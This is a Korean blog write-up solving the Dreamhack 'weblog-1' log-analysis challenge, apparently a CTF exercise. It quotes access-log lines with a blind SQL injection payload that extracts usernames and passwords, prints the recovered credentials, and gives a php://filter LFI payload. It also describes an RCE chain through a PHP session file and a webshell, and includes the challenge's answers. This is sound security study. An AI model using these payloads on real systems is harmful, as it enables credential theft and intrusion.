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[드림핵] weblog-1 풀이

by jwcs 2024. 2. 10.
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https://dreamhack.io/wargame/challenges/71

 

weblog-1

주어진 코드와 로그를 분석해 주어진 질문에 해당하는 답을 찾아보세요. Reference Server-side Basic Server-side Advanced - SQL Injection

dreamhack.io

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첫 번째 문제다. 문제에서 log파일을 제공해준다. 이걸 바탕으로 첫 번째 문제를 풀어보자.

172.17.0.1 - - [02/Jun/2020:09:50:06 +0000] "GET /board.php?sort=if(ord(substr((select%20group_concat(username,0x3a,password)%20from%20users),%201,1))=97,%20(select%201%20union%20select%202),%200) HTTP/1.1" 500 1192 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36"
172.17.0.1 - - [02/Jun/2020:09:50:13 +0000] "GET /board.php?sort=if(ord(substr((select%20group_concat(username,0x3a,password)%20from%20users),%202,1))=100,%20(select%201%20union%20select%202),%200) HTTP/1.1" 500 1192 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36"
172.17.0.1 - - [02/Jun/2020:09:50:18 +0000] "GET /board.php?sort=if(ord(substr((select%20group_concat(username,0x3a,password)%20from%20users),%203,1))=109,%20(select%201%20union%20select%202),%200) HTTP/1.1" 500 1192 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36"
172.17.0.1 - - [02/Jun/2020:09:50:23 +0000] "GET /board.php?sort=if(ord(substr((select%20group_concat(username,0x3a,password)%20from%20users),%204,1))=105,%20(select%201%20union%20select%202),%200) HTTP/1.1" 500 1192 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36"
172.17.0.1 - - [02/Jun/2020:09:50:29 +0000] "GET /board.php?sort=if(ord(substr((select%20group_concat(username,0x3a,password)%20from%20users),%205,1))=110,%20(select%201%20union%20select%202),%200) HTTP/1.1" 500 1192 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36"
172.17.0.1 - - [02/Jun/2020:09:50:31 +0000] "GET /board.php?sort=if(ord(substr((select%20group_concat(username,0x3a,password)%20from%20users),%206,1))=58,%20(select%201%20union%20select%202),%200) HTTP/1.1" 500 1192 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36"
172.17.0.1 - - [02/Jun/2020:09:50:34 +0000] "GET /board.php?sort=if(ord(substr((select%20group_concat(username,0x3a,password)%20from%20users),%207,1))=84,%20(select%201%20union%20select%202),%200) HTTP/1.1" 500 1192 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36"
172.17.0.1 - - [02/Jun/2020:09:50:37 +0000] "GET /board.php?sort=if(ord(substr((select%20group_concat(username,0x3a,password)%20from%20users),%208,1))=104,%20(select%201%20union%20select%202),%200) HTTP/1.1" 500 1192 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36"
172.17.0.1 - - [02/Jun/2020:09:50:37 +0000] "GET /board.php?sort=if(ord(substr((select%20group_concat(username,0x3a,password)%20from%20users),%209,1))=49,%20(select%201%20union%20select%202),%200) HTTP/1.1" 500 1192 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36"
172.17.0.1 - - [02/Jun/2020:09:50:45 +0000] "GET /board.php?sort=if(ord(substr((select%20group_concat(username,0x3a,password)%20from%20users),%2010,1))=115,%20(select%201%20union%20select%202),%200) HTTP/1.1" 500 1192 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36"
172.17.0.1 - - [02/Jun/2020:09:50:46 +0000] "GET /board.php?sort=if(ord(substr((select%20group_concat(username,0x3a,password)%20from%20users),%2011,1))=95,%20(select%201%20union%20select%202),%200) HTTP/1.1" 500 1192 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36"
172.17.0.1 - - [02/Jun/2020:09:50:47 +0000] "GET /board.php?sort=if(ord(substr((select%20group_concat(username,0x3a,password)%20from%20users),%2012,1))=49,%20(select%201%20union%20select%202),%200) HTTP/1.1" 500 1192 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36"
172.17.0.1 - - [02/Jun/2020:09:50:52 +0000] "GET /board.php?sort=if(ord(substr((select%20group_concat(username,0x3a,password)%20from%20users),%2013,1))=115,%20(select%201%20union%20select%202),%200) HTTP/1.1" 500 1192 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36"
172.17.0.1 - - [02/Jun/2020:09:50:56 +0000] "GET /board.php?sort=if(ord(substr((select%20group_concat(username,0x3a,password)%20from%20users),%2014,1))=95,%20(select%201%20union%20select%202),%200) HTTP/1.1" 500 1192 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36"
172.17.0.1 - - [02/Jun/2020:09:50:59 +0000] "GET /board.php?sort=if(ord(substr((select%20group_concat(username,0x3a,password)%20from%20users),%2015,1))=65,%20(select%201%20union%20select%202),%200) HTTP/1.1" 500 1192 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36"
172.17.0.1 - - [02/Jun/2020:09:51:01 +0000] "GET /board.php?sort=if(ord(substr((select%20group_concat(username,0x3a,password)%20from%20users),%2016,1))=100,%20(select%201%20union%20select%202),%200) HTTP/1.1" 500 1192 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36"
172.17.0.1 - - [02/Jun/2020:09:51:06 +0000] "GET /board.php?sort=if(ord(substr((select%20group_concat(username,0x3a,password)%20from%20users),%2017,1))=109,%20(select%201%20union%20select%202),%200) HTTP/1.1" 500 1192 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36"
172.17.0.1 - - [02/Jun/2020:09:51:08 +0000] "GET /board.php?sort=if(ord(substr((select%20group_concat(username,0x3a,password)%20from%20users),%2018,1))=49,%20(select%201%20union%20select%202),%200) HTTP/1.1" 500 1192 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36"
172.17.0.1 - - [02/Jun/2020:09:51:18 +0000] "GET /board.php?sort=if(ord(substr((select%20group_concat(username,0x3a,password)%20from%20users),%2019,1))=110,%20(select%201%20union%20select%202),%200) HTTP/1.1" 500 1192 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36"
172.17.0.1 - - [02/Jun/2020:09:51:22 +0000] "GET /board.php?sort=if(ord(substr((select%20group_concat(username,0x3a,password)%20from%20users),%2020,1))=95,%20(select%201%20union%20select%202),%200) HTTP/1.1" 500 1192 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36"
172.17.0.1 - - [02/Jun/2020:09:51:24 +0000] "GET /board.php?sort=if(ord(substr((select%20group_concat(username,0x3a,password)%20from%20users),%2021,1))=80,%20(select%201%20union%20select%202),%200) HTTP/1.1" 500 1192 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36"
172.17.0.1 - - [02/Jun/2020:09:51:30 +0000] "GET /board.php?sort=if(ord(substr((select%20group_concat(username,0x3a,password)%20from%20users),%2022,1))=64,%20(select%201%20union%20select%202),%200) HTTP/1.1" 500 1192 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36"
172.17.0.1 - - [02/Jun/2020:09:51:33 +0000] "GET /board.php?sort=if(ord(substr((select%20group_concat(username,0x3a,password)%20from%20users),%2023,1))=83,%20(select%201%20union%20select%202),%200) HTTP/1.1" 500 1192 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36"
172.17.0.1 - - [02/Jun/2020:09:51:37 +0000] "GET /board.php?sort=if(ord(substr((select%20group_concat(username,0x3a,password)%20from%20users),%2024,1))=83,%20(select%201%20union%20select%202),%200) HTTP/1.1" 500 1192 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36"
172.17.0.1 - - [02/Jun/2020:09:51:40 +0000] "GET /board.php?sort=if(ord(substr((select%20group_concat(username,0x3a,password)%20from%20users),%2025,1))=44,%20(select%201%20union%20select%202),%200) HTTP/1.1" 500 1192 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36"
172.17.0.1 - - [02/Jun/2020:09:51:46 +0000] "GET /board.php?sort=if(ord(substr((select%20group_concat(username,0x3a,password)%20from%20users),%2026,1))=103,%20(select%201%20union%20select%202),%200) HTTP/1.1" 500 1192 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36"
172.17.0.1 - - [02/Jun/2020:09:51:49 +0000] "GET /board.php?sort=if(ord(substr((select%20group_concat(username,0x3a,password)%20from%20users),%2027,1))=117,%20(select%201%20union%20select%202),%200) HTTP/1.1" 500 1192 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36"
172.17.0.1 - - [02/Jun/2020:09:51:52 +0000] "GET /board.php?sort=if(ord(substr((select%20group_concat(username,0x3a,password)%20from%20users),%2028,1))=101,%20(select%201%20union%20select%202),%200) HTTP/1.1" 500 1192 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36"
172.17.0.1 - - [02/Jun/2020:09:51:54 +0000] "GET /board.php?sort=if(ord(substr((select%20group_concat(username,0x3a,password)%20from%20users),%2029,1))=115,%20(select%201%20union%20select%202),%200) HTTP/1.1" 500 1192 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36"
172.17.0.1 - - [02/Jun/2020:09:51:58 +0000] "GET /board.php?sort=if(ord(substr((select%20group_concat(username,0x3a,password)%20from%20users),%2030,1))=116,%20(select%201%20union%20select%202),%200) HTTP/1.1" 500 1192 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36"
172.17.0.1 - - [02/Jun/2020:09:52:00 +0000] "GET /board.php?sort=if(ord(substr((select%20group_concat(username,0x3a,password)%20from%20users),%2031,1))=58,%20(select%201%20union%20select%202),%200) HTTP/1.1" 500 1192 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36"
172.17.0.1 - - [02/Jun/2020:09:52:11 +0000] "GET /board.php?sort=if(ord(substr((select%20group_concat(username,0x3a,password)%20from%20users),%2032,1))=103,%20(select%201%20union%20select%202),%200) HTTP/1.1" 500 1192 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36"
172.17.0.1 - - [02/Jun/2020:09:52:14 +0000] "GET /board.php?sort=if(ord(substr((select%20group_concat(username,0x3a,password)%20from%20users),%2033,1))=117,%20(select%201%20union%20select%202),%200) HTTP/1.1" 500 1192 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36"
172.17.0.1 - - [02/Jun/2020:09:52:16 +0000] "GET /board.php?sort=if(ord(substr((select%20group_concat(username,0x3a,password)%20from%20users),%2034,1))=101,%20(select%201%20union%20select%202),%200) HTTP/1.1" 500 1192 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36"
172.17.0.1 - - [02/Jun/2020:09:52:21 +0000] "GET /board.php?sort=if(ord(substr((select%20group_concat(username,0x3a,password)%20from%20users),%2035,1))=115,%20(select%201%20union%20select%202),%200) HTTP/1.1" 500 1192 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36"
172.17.0.1 - - [02/Jun/2020:09:52:25 +0000] "GET /board.php?sort=if(ord(substr((select%20group_concat(username,0x3a,password)%20from%20users),%2036,1))=116,%20(select%201%20union%20select%202),%200) HTTP/1.1" 500 1192 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36"

 로그를 확인해보면 sql인젝션을 시도하는 것을 확인할 수 있다. 아스키 코드 32부터 126까지 대입하는데, 값이 참이면 에러를 발생시키는 구문이 들어있다. order by 절에 하나의 결과값만 들어가야하는데 `select 1 union select 2`는 에러를 발생시킨다. 따라서 500에러가 나오는 것들을 모아보면 위와 같은 결과가 나온다.

 sql문 order by에 대한 설명(https://jwcs.tistory.com/83)

 여기서 나오는 아스키 코드 값을 문자로 변환해주면 된다. 필자는 코드짜는 시간이 더 오래걸릴거 같아서 그냥 손으로 했다.

admin:Th1s_1s_Adm1n_P@SS,guest:guest

 

그럼 이런 결과가 나온다.

0/5 clear

 

두 번째 문제

두 번째 문제다. 로그에서 `config`를 검색하면 쉽게 찾을 수 있다.

config 검색

php://filter/convert.base64-encode/resource=../config.php

1/5 clear

두 번째 문제까지 풀었다.

 

세 번째 문제다.

LFI RCE에 사용된 파일의 전체 경로를 요구하고 있다. 그럼 RCE 코드를 먼저 찾아보자.

rce 코드 및 실행

memo에 어떤 코드를 전달하고 있다. memo.php의 memo 매개변수를 알아봐야겠다.

<a href="javascript:history.back(-1);">Back</a><br/><br/>
<?php
  if($level[$_SESSION['level']] !== "admin") { die("Only Admin !"); }

  if(isset($_GET['memo'])){
    $_SESSION['memo'] = $_GET['memo'];
  }

  if(isset($_SESSION['memo'])){
    echo($_SESSION['memo']);
  }

?>

<form>
  <input type="hidden" name="page" value="memo.php">
  <div class="form-group">
    <label for="memo">memo</label>
    <input type="text" class="form-control" name="memo" id="memo" placeholder="memo">
  </div>
  <button type="submit" class="btn btn-default">Write</button>
</form>

memo로 전달된 값을 세션에 저장하고 있다. 이것을 통해 RCE를 하는 것으로 보인다.

/var/lib/php/sessions/sess_ag4l8a5tbv8bkgqe9b9ull5732

이 값이 세 번째 정답이다. 세션은 `php.ini` 파일에서 `session.save_path` 지시어를 통해 지정된다. 흔히 `/var/lib/php/sessions`에 저장되며, 세션 앞에 `sess_`가 붙어서 저장된다. 아마 admin의 세션 값이 `ag4l8a5tbv8bkgqe9b9ull5732`이었을 것이다.

2/5 clear

세 번째 문제 클리어

 

3/5

네 번째 문제다. 생성된 웹쉘의 경로를 입력하라고 한다.

access.log

`/uploads`에 실행하는 php 파일을 전부 입력해봤지만 답이 아니었다. rce 코드를 분석해보자.

rce 코드

코드를 보기 좋게 나눠주고 실행해봤다. 이상한 값이 나와서 왜 그런지 생각해봤다. date() 함수의 값을 키 값으로 사용하고 있는데, 따로 지정해주지 않았으므로 현재 시간을 기준으로 돌아갈 것이다. 따라서 코드가 실행된 시간을 기준으로 넣어주자. 

코드 분석 완

이게 4번째 정답인것 같다.

3/5 clear

 

4/5

5번째 문제다. 앞서 제출한 파일의 명령어를 입력하면 된다.

access.log

`whoami`인것같다.

5/5

올클!

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짜잔

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